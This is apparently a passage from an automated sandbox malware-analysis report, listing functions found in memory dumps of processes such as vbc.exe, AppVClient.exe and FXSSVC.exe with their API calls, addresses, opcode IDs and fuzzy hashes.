Function 00F4B0C9 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4B0D0

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 91728b174b563eb17167a93fa6722b61c06da62623eff81193e248388853552c
Instruction ID: 13106e9898e9557be7e579ea4b65cce156e48869c5738432e723acaf4897f02a
Opcode Fuzzy Hash: 91728b174b563eb17167a93fa6722b61c06da62623eff81193e248388853552c
Instruction Fuzzy Hash: C7C04C6150D3C84EEB138B3548582AA3FF45D03255B59109BDDA2C64A3D714C94CE753

Function 070BF790 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 070BF80E

Memory Dump Source

Source File: 00000009.00000002.2669985021.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_70b0000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0698240d4224d3af33d10784ad27dff34b616bc0ad551c53fae00ebc3827c4e1
Instruction ID: fc97f5ba51318b5ebde931b56c518a70db8bc71335e963c7f79bbff50df7ddce
Opcode Fuzzy Hash: 0698240d4224d3af33d10784ad27dff34b616bc0ad551c53fae00ebc3827c4e1
Instruction Fuzzy Hash: 3D31AAB4D012199FCB24CFAAD985ADEFBB4EB49310F14952AE815B7340C735A901CFA8

Function 00F45D20 Relevance: 1.3, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5ab733aa6cd1fd1e91305b4c87389bbe8241a78b5b3fb38630f44ba5032426
Instruction ID: c394384a9c261baa73dee6decc576d85449e9bcdf306c114f24a8145c32b9e10
Opcode Fuzzy Hash: cd5ab733aa6cd1fd1e91305b4c87389bbe8241a78b5b3fb38630f44ba5032426
Instruction Fuzzy Hash: C0E08651D4CF00BBE63A37A85C1EBB1AE70AF13F3DF4D045AAE40550A796581C00F711

Function 00F45D50 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00F45D6D

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9b2100d64acd10f7036f46ddfc294f377e79af48fbb04402684876aa01600634
Instruction ID: dbe962482535b38b9a0cf3ecebc876abed9e0e2ab343334733ac3a4fdf820607
Opcode Fuzzy Hash: 9b2100d64acd10f7036f46ddfc294f377e79af48fbb04402684876aa01600634
Instruction Fuzzy Hash: 8BD0C920E0CF149BED3D3214FACC7302D345F10F30E0C8201AD011D2B745524C07BA02

Function 00F48371 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00F48380

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1ef981bd04a06d70a26eddb2e716912d4fb566df8dc381bf589b42a4e69392cf
Instruction ID: 8efa8fa670040a9606c6210b3c9e94b7f4a30c1b9a47c56fa0954607606fc931
Opcode Fuzzy Hash: 1ef981bd04a06d70a26eddb2e716912d4fb566df8dc381bf589b42a4e69392cf
Instruction Fuzzy Hash: 50B092A2909A80CEF7021A602C1D2E83F70E9123C6B090053CD42C8223EA188A067722

Function 0730D600 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2682170133.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f083304abe81794d3b0e47986d38e8889e7e911a392f4e44a590b25f2d021ca2
Instruction ID: d763a45f87a15734f583b3d34430219741f5c5ac92ea16b95d01b34a411e2b2e
Opcode Fuzzy Hash: f083304abe81794d3b0e47986d38e8889e7e911a392f4e44a590b25f2d021ca2
Instruction Fuzzy Hash: 272136F9614608DFEB14DF50D9D0B16BFA5EB88320F648169D80D0F286C336D846CAE2

Function 0730D5FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2682170133.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a06cec78edd30c5fa5f5d2641735210642f11197391936beb708901091f7d337
Instruction ID: 481e48a127a23d95bd15e2179aaaa0f9a71a3d483e464aa786ad7d0744658cf9
Opcode Fuzzy Hash: a06cec78edd30c5fa5f5d2641735210642f11197391936beb708901091f7d337
Instruction Fuzzy Hash: D711E1B6604684CFDB15CF50D5D4B16BFA2FB84320F24C1A9D84C0B256C336D456CBA2

Function 0730D007 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2682170133.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3515c95cdb0e917eb9a8ef311d02bfe007e26ba02a455afbcd9a93722f45b33d
Instruction ID: 796060c4c692afbbd1288271fb4ae713c6f1c30a08f708410c63e7d14c67d51a
Opcode Fuzzy Hash: 3515c95cdb0e917eb9a8ef311d02bfe007e26ba02a455afbcd9a93722f45b33d
Instruction Fuzzy Hash: AD015EB154D3C09FE7124B258C94792BFA8EF43224F1981DBE8888F1E3C2685C45CBB2

Function 0730D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2682170133.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af9010683592200ecdfba12f3104a341d4fbe52e573bca7fdd3ed976d8e525fe
Instruction ID: 1d76c69723ec7d82b65edd1c111eefef4c217365c2412044dbc07f4b09815943
Opcode Fuzzy Hash: af9010683592200ecdfba12f3104a341d4fbe52e573bca7fdd3ed976d8e525fe
Instruction Fuzzy Hash: 6601D4F06143409AF7204A51C884B67BFCCEF42225F08C059DC4C0B5C2C2789845CAF6

Non-executed Functions

Function 0055000C Relevance: 26.5, Strings: 21, Instructions: 273COMMON

Download Yara Rule

Strings

\I&, xrefs: 0055067D
nh2/, xrefs: 0055038C
"pEl, xrefs: 00550816
-bY{, xrefs: 00550103
1m?, xrefs: 005508B7
c~t, xrefs: 005505A1
{95, xrefs: 005504E7
-N$w, xrefs: 005505B2
{zi, xrefs: 005502FC
tN<z, xrefs: 00550673
`.<>, xrefs: 005503F4
cT, xrefs: 0055021D
B{,:, xrefs: 00550530
'5PO, xrefs: 005501BC
=kF(, xrefs: 00550851
zgRr, xrefs: 00550396
f^>(, xrefs: 005506BB
[4.*, xrefs: 00550488
^o}b, xrefs: 00550037
7c}:, xrefs: 00550687
yS2, xrefs: 00550597

Memory Dump Source

Source File: 00000009.00000002.2613234924.0000000000550000.00000040.00000400.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_550000_vbc.jbxd

Similarity

API ID:
String ID: \I&$"pEl$'5PO$-N$w$-bY{$1m?$7c}:$=kF($B{,:$[4.*$^o}b$`.<>$f^>($nh2/$tN<z$zgRr${zi${95$c~t$cT$yS2
API String ID: 0-2956041983
Opcode ID: 5e536528996ec904011261ce2b9d3f9d546e9900a2f0e9b8f4598563413a5573
Instruction ID: 5ed38cbd2bea678983f08c358428fba645e292bf2ea16cc994f085502f92ce8c
Opcode Fuzzy Hash: 5e536528996ec904011261ce2b9d3f9d546e9900a2f0e9b8f4598563413a5573
Instruction Fuzzy Hash: 2212C976442341CFCB8A8F26A2CA7D63B64BF15325F9C92B89D0D4D42BCB344684CF66

Function 004A95E4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2613234924.00000000004A5000.00000040.00000400.00020000.00000000.sdmp, Offset: 004A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a5000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24edfe86f89d863c459ef98baa66fa58558c940872ab27ebaee6b55c6d3c4fc8
Instruction ID: 62a600dcc4178c58a7e9bbd4a1ca1ef9aeebb4c8c88d6bcaac42d4d958bd671a
Opcode Fuzzy Hash: 24edfe86f89d863c459ef98baa66fa58558c940872ab27ebaee6b55c6d3c4fc8
Instruction Fuzzy Hash: 6011C23026EB928FD316DF38C489645BFE1EF063247594ADDC0868F1A3C36AA442CB17

Analysis Process: AppVClient.exePID: 7932, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	3.9%
Total number of Nodes:	102
Total number of Limit Nodes:	7

Executed Functions

Function 00B652A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00B653C4

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 9805ffbf04b2642cadfc8c284029357ac88f1d5d5b5fe3fc2da0b151244bfce2
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 2841E5A240DE958FD736432448A42707BD0EB227E2F9D01E7D4C78A3E6E59C0CB1972A

Function 00B80080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00B803E0

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: eae33134d0fc381eaa36187e6219b49d6e3437180a0cb7e80f9b51d646616384
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: FBD10431568B0D8BC7A4FF58D8897EAB3E1FBA0350F18469EE846C3174DA749649C7C2

Function 00B68070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: b6f8a60212a43e3ca5ac16d149e307f47120f5f188d68b34a7f1b0ebfd8a7ec0
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: E9614B7050CA459FCB658B2888A47357BE0FB5A350F640BDAE44BD31A1DF3C9C49D752

Function 00B65B09 Relevance: 3.1, APIs: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 2470f97aee313f71d9ac5824af60f86f9477d10455a8160754673fc98f110ff2
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 6F01923010DF468FDB755B248C987797BD0EB55324F2901EB8487CA0D1DEAD4920E712

Function 00B65910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 379edc350b9d0129ca745cdca3f70a5a094096eee9ffbcaa618440fd7433c1c8
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: AFF1F82171DE488FC669B72C58916B977D2FB99310F5846DFE09FC32A6DD289C06C382

Function 00B65B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: fb12567052542f99b70d32704541f275c001d25d8e27eb0aa47124da14fed7be
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 4421AF3120CF458FCB7A9B1888A8B746AE1EB55350F6C05F69447CF1E2CA2CDC649766

Function 00B65B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00B65B90
CreateThread.KERNELBASE ref: 00B65CDF

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 59be04fab525041c89196beefdb59a0da8c1fe46af5b1595692bf82ee1c14227
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: B7E08C3060DF488FDB7A9F249D603293AE5EB88310F1902DFC48ADB1D1DF6D09168B82

Function 00B6599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00B659D9

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 977950c3797f21623c7fa84dcc284c5ab353265b0a03b45339df85e43af3c3da
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: FD01F97091EE84CFD77BEB58448227966D2F758320F2C06EA90CAC70D2C83C4D349B41

Function 00B65BE2 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B65C03

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction ID: 8621be7e525d3fb6e797c8f9baab12645f45a1e46ec4bdfc7855cb8966be2d73
Opcode Fuzzy Hash: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction Fuzzy Hash: 01E01231558E1ADFEA74AA18CD99E7526C0D724361F2805F18806CB150E55CDA756612

Function 00B68090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B68186

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: fb8c92b46dc05e13b51c3d2b717c90f1b945820f25872b1e695e32a29daa3a96
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: B7C08CB0128C0697523A02482C0B0B026C0C30F350B0C03C68C42A0220DD2D8E030097

Function 00B6817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B68186

Memory Dump Source

Source File: 0000000F.00000002.1403794029.0000000000B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b60000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 1fc8fc8f7ba33a23edcdf1795213bfa5c9a16757eeeca68d844bcb8cc8b9b9b4
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 4EC092B055891987513A26882C0A0B235D0C71F760F0C47D2EC56BA361DD6D8E4341A2

Analysis Process: FXSSVC.exePID: 8028, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	97.3%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	5

Executed Functions

Function 004252A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 004253C4

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 8a47e9f39304677f409a971bb96fb7c9d418da6cf03e87db8a3d5177a89a8352
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: AE41C65170DEB58FD726922474643B2ABA09B123E2FD914D7D882C72E2D1BC4C42972F

Function 00428070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: 062cdad09a1dccd1c9da8856a9db376d4008f753bad528dba163b59ddf6dad7d
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: 1061FF3070FA748FD7658B28B81423E7AA0BB65350FD9429F9446C22E1CF2C5C1A836F

Function 00440080 Relevance: 2.0, APIs: 1, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 8005e838d64804137fa67e69ec8fa3b052c9f4a58d823fee826107e1ad4b30cf
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: FED14931418F0D8BE724EF58D8457EAB7D1FBA0310F18461FDA46C3264DA78DA658AC7

Function 00425910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 7bb32e801b6acd29df5aac314cfd129283357f91862d4bb627c80d1fd3c86720
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 4CF1372071CE588FD669A72D68513BB73D2E799314F58429FE04AC3396DE3C9C46838E

Function 00425B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 49779e34ee639fb0c6bc4d66a31d1c2f9eb687a124b737a2bb5394a8c50f85d2
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 3121D33031CF608FCB699B1AB4487762AE1AB55350FE841A78447CF396EA3CDC45971E

Function 00425B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: b7e3d5331c1304632278862209979492ce980127c8a9cafc856ea49140661027
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 2801D23031DF768FDB555624BC1837A7B90EB50324FE501AB8487CA295EABC4902A70F

Function 00425B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00425B90
CreateThread.KERNELBASE ref: 00425CDF

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: ca3ff88ea219f5825eb3369ad7927bf15066a86b53b2dd921e3d9a1caa2db0f4
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 21E0863070DB544FDB599B2468103193EE5EB88310F5502CFC44ADB2D5DB7D1A06878B

Function 0042599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 004259D9

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 9f62b6bf6e1d1a510953f0bb591694cce4ae617f0899bc194266652dda0e6c9a
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 300126F0B1EEB0CFD61BE718700227A6152B795334FE8419B904AC7292C83C4D82938F

Function 00428090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00428186

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 7a56fbfbeaf37c7a3436b851283f21cc1175aee4b15bc53802576e08adf2423e
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 1BC08C7033B87A96B23802483C0B0BE66408202351BCC000F8C02C23E0DD0C8E73109F

Function 0042817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00428186

Memory Dump Source

Source File: 00000011.00000002.1409368401.0000000000420000.00000040.00001000.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 10b65ee38fa1589f91d027178714526807b1d27bab61ba9775247bb161552a60
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 7BC048A076B52986A13826883C0A4BAA5908612761F88441BAD068B3E2D95C4DA351AE

Analysis Process: elevation_service.exePID: 8136, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	99.2%
Signature Coverage:	0%
Total number of Nodes:	240
Total number of Limit Nodes:	29

Executed Functions

Function 00898789 Relevance: 2.8, APIs: 1, Instructions: 1311COMMON

Download Yara Rule

Memory Dump Source

